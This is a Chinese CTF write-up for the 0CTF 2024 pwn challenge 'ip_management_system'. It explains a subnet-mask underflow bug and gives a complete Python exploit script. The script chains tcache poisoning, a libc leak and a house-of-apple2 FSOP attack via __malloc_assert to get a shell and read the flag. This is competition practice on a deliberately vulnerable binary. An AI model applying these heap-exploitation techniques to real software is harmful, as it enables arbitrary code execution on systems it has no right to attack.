0CTF 2024 PWN WP

ip_management_system

漏洞在add/delete ip时使用子网掩码,会把start ip后几位按照掩码清零,而且没有检查造成的向上溢出

image-20241224085004256

所以先常规泄露heap地址,然后上溢修改size,使tcache链入两个chunk,再上溢修改size,将上方的chunk size改大,free后malloc即可造成堆重叠,最后修改fd,实现任意地址分配。

image-20241224085733123

实现任意分配

image-20241224085842633

由于此时没有libc,所以选择打tcache结构体,然后先malloc一个大于0x500的chunk,然后将tcache中任一size的chunk指向他,将他free掉,再malloc回来即可leak libc

image-20241224090030586

同时因为程序没有exit等触发io流的函数,打stdout的话,由于任意读写只能一个bit一个bit的读写,也无法成功。因此选择打__malloc_assert触发的fflush(stderr),但实际好像是fxprintf触发的

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

链子用的是house of apple2,值得一提的是,由于读写非常不方便,因此需要经可能缩减payload和读写次数,否则远程极易超时

然后将top_chunk改成奇怪的大小,malloc就能触发__malloc_assert

image-20241224090704587

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.libc = ELF('./libc.so.6')
libc = gift.libc
if local_flag == "remote":
# 设置代理 (HTTP 代理转为 SOCKS5 模式)
proxy_host = "instance.penguin.0ops.sjtu.cn"
proxy_port = 18081

# 目标主机和端口
target_host = "7bw2ftmpycgv7k6m"
target_port = 1

# 设置 socket 代理
s = socks.socksocket()
s.set_proxy(socks.HTTP, proxy_host, proxy_port)
s.connect((target_host, target_port))

# 使用 pwntools 的包装功能
gift.io = remote.fromsocket(s)
# addr = ''
# host = addr.split(' ')
# gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
context.log_level = 'warn'
gift.debug = True


input_after_this = b'Choose an option:'


def h2ip(hex_ip):
if isinstance(hex_ip, int):
hex_ip = f"{hex_ip:08x}"
# 将十六进制按 2 位分隔为 4 段,每段转换为十进制
octets = [str(int(hex_ip[i : i + 2], 16)) for i in range(0, len(hex_ip), 2)]
# 用 "." 连接成 IPv4 地址
return ".".join(octets)


def ip2h(ipv4):
# 将 IPv4 地址按 "." 分割为 4 段
parts = ipv4.split(".")
# 每段转换为两位的十六进制字符串并拼接
hex_ip = ''.join(f'{int(part):02X}' for part in parts)
return int(hex_ip.lower(), 16)


def create_set(start, end):
sla(input_after_this, b'1')
sla(b'start ip', start)
sla(b'end ip', end)


def add_ip(*args):
sla(input_after_this, b'2')
if len(args) == 1:
sla(b'ip', args[0])
else:
sla(b'ip', f"{args[0]}-{args[1]}")


def dele_ip(*args):
sla(input_after_this, b'3')
if len(args) == 1:
sla(b'ip', args[0])
else:
sla(b'ip', f"{args[0]}-{args[1]}")


def querp_ip(ip):
sla(input_after_this, b'4')
sla(b'ip', ip)
ru(b'IP')
r = ru(b'set')
if b'not' in r:
return 0
return 1


def clear_ip():
sla(input_after_this, b'5')


def cal_size(size, mode=0, start=0):
size = start + (size - 1 << 3)
if mode:
return h2ip(size + 0b111)
return h2ip(size)


cmd = '''
directory /mnt/f/Documents/CTF/glibc/glibc-2.35
brva 0x152B
# create_set
brva 0x1999
brva 0x15B0

brva 0x183E
# add
brva 0x1896
# dele

# brva 0x1813
# brva 0x17C8
# dis 4
# dis 5
b _exit
b __malloc_assert
b _IO_switch_to_wget_mode
c
set $ip = $rebase(0x4050)
'''
# context.log_level = 'warn'

# create_set(h2ip(0x0), cal_size(0x8))
# clear_ip()
create_set(h2ip(0x0), cal_size(0x8))
clear_ip()
# create_set(h2ip(0x0), cal_size(0x508))
# clear_ip()
# create_set(h2ip(0x0), cal_size(0x78))
# clear_ip()

create_set(h2ip(0x0), cal_size(0x8))
ip_list = []
for i in range(0, 0x8 * 5):
ip_list.append(h2ip(i))
heap_leak = []
for i in ip_list:
heap_leak.append(str(querp_ip(i)))
heap_leak = ''.join(heap_leak[::-1])
heap_base = int(heap_leak, 2) << 12
# print(heap_leak)
log_heap_base_addr(heap_base)
clear_ip()

# create_set(h2ip(0x0), cal_size(0x508))
# ip_list = []
# for i in range(0, 0x8 * 6):
# ip_list.append(h2ip(i))
# libc_leak = []
# for i in ip_list:
# libc_leak.append(str(querp_ip(i)))
# libc_leak = ''.join(heap_leak[::-1])
# libc_base = int(heap_leak, 2)
# clear_ip()
'''
/20 -0x1FF
/
'''

s = h2ip(0xCFFF - 0xB8 - 3) # 0xCB87
create_set(s, cal_size(0x40, start=ip2h(s)))
add_ip(s + "/23")

s = h2ip(0xCFFF - 0x38 - 9) # 0xCB87
create_set(s, cal_size(0x40, start=ip2h(s)))
dele_ip(s + "/22")

create_set(s, cal_size(0x10, start=ip2h(s)))
clear_ip()

create_set(s, cal_size(0x48, start=ip2h(s)))
clear_ip()
s = "0.0.0.189"
create_set(s, cal_size(0x148, start=ip2h(s)))
dele_ip(s + "/25")
clear_ip()

s = h2ip(0)
create_set(s, cal_size(0x2E8, start=ip2h(s)))

change_addr = protect_ptr(heap_base + 0x3B0, heap_base + 0xB0)
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
print(change_byte)
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(0x880 + i))
else:
dele_ip(h2ip(0x880 + i))

s = "0.0.0.189"
for i in range(0x8):
create_set(s, cal_size(0x150 + i * 0x10, start=ip2h(s)))
dele_ip(s + "/25")
clear_ip()

create_set(s, cal_size(0x100, start=ip2h(s)))
clear_ip()

create_set(s, cal_size(0x508, start=ip2h(s)))
create_set(s, cal_size(0x208, start=ip2h(s)))

create_set(s, cal_size(0x48, start=ip2h(s)))
s = h2ip(0)
create_set(s, cal_size(0x48, start=ip2h(s)))


change_addr = heap_base + 0x12D0
change_addr = change_addr & 0xFFFF

change_byte = f"{change_addr:016b}"
change_byte = change_byte[::-1]
# print(change_byte)
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(0x0 + i))
else:
dele_ip(h2ip(0x0 + i))

# log_heap_base_addr(heap_base)
change_addr = heap_base + 0xC0
change_addr = change_addr & 0xFFF
change_byte = f"{change_addr:012b}"
change_byte = change_byte[::-1]
# print(change_byte)
# log_ex(f"len: {len(change_byte)}")
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(64 * 4 + i))
else:
dele_ip(h2ip(64 * 4 + i))

create_set(s, cal_size(0x58, start=ip2h(s)))
clear_ip()
s = h2ip(0)
create_set(s, cal_size(0x508, start=ip2h(s)))

ip_list = []
for i in range(0, 0x8 * 6):
ip_list.append(h2ip(i))
libc_leak = []
for i in ip_list:
libc_leak.append(str(querp_ip(i)))
libc_leak = ''.join(libc_leak[::-1])
libc_base = int(libc_leak, 2) - 0x21ACE0
set_current_libc_base_and_log(libc_base)


puts_got = libc_base + 0x21A098 - 8
stdout = libc_base + 0x21B680 + 0x100
stderr = libc_base + 0x21B680 + 0x20

create_set(s, cal_size(0x98, start=ip2h(s)))
change_addr = heap_base + 0x19E8 - 8
change_addr = change_addr & 0xFFFF
change_byte = f"{change_addr:016b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(0 + i))
else:
dele_ip(h2ip(0 + i))

change_addr = stderr
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(9 * 8 * 8 + i))
else:
dele_ip(h2ip(9 * 8 * 8 + i))

# change_addr = libc_base + 0x21b680 + 0x100 + 0x70
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# print(change_byte)
# for i in range(len(change_byte)):
# if change_byte[i] == '1':
# add_ip(h2ip(64 + i))
# else:
# dele_ip(h2ip(64 + i))

s = h2ip(0)
# sla(input_after_this, b'6')
create_set(s, cal_size(0x100, start=ip2h(s)))
# dele_ip(0, 0xD8 * 8)

change_addr = libc.sym.system
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(8 * 0x28 + i))
else:
dele_ip(h2ip(8 * 0x28 + i))

change_addr = stderr - 0x40
# change_addr = heap_base
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(8 * 0xA0 + i))
else:
dele_ip(h2ip(8 * 0xA0 + i))

change_addr = libc.sym._IO_wfile_jumps - 0x48 + 0x28
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(8 * 0xD8 + i))
else:
dele_ip(h2ip(8 * 0xD8 + i))

# change_addr = libc.sym._environ - 0x10
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# for i in range(len(change_byte)):
# if change_byte[i] == '1':
# add_ip(h2ip(8 * 0x88 + i))
# else:
# dele_ip(h2ip(8 * 0x88 + i))

change_addr = u64_ex(' sh')
launch_gdb(cmd)
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(+i))
else:
dele_ip(h2ip(+i))

create_set(s, cal_size(0x70, start=ip2h(s)))
dele_ip(0, 0x8 * 8)
create_set(s, cal_size(0x500, start=ip2h(s)))

# change_addr = libc.sym.exit
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# for i in range(len(change_byte)):
# if change_byte[i] == '1':
# add_ip(h2ip(64 + i))
# else:
# dele_ip(h2ip(64 + i))

sl(b'cat /flag\x00')
sl(b'cat /flag\x00')
sl(b'cat /flag\x00')

ia()

最后非常感谢沪✌ZianTT,由于人在北京,和上海有着物理距离上的遥远,和靶机的交互一卡一卡的,导致远程一直超时,换了vps也是超时,最后优化了exp,让沪✌跑脚本才打通了。

当然还得感谢圈爷,io板子的神!!!

image-20241224091015590

image-20241224091019226

也是体验了一把前五的感觉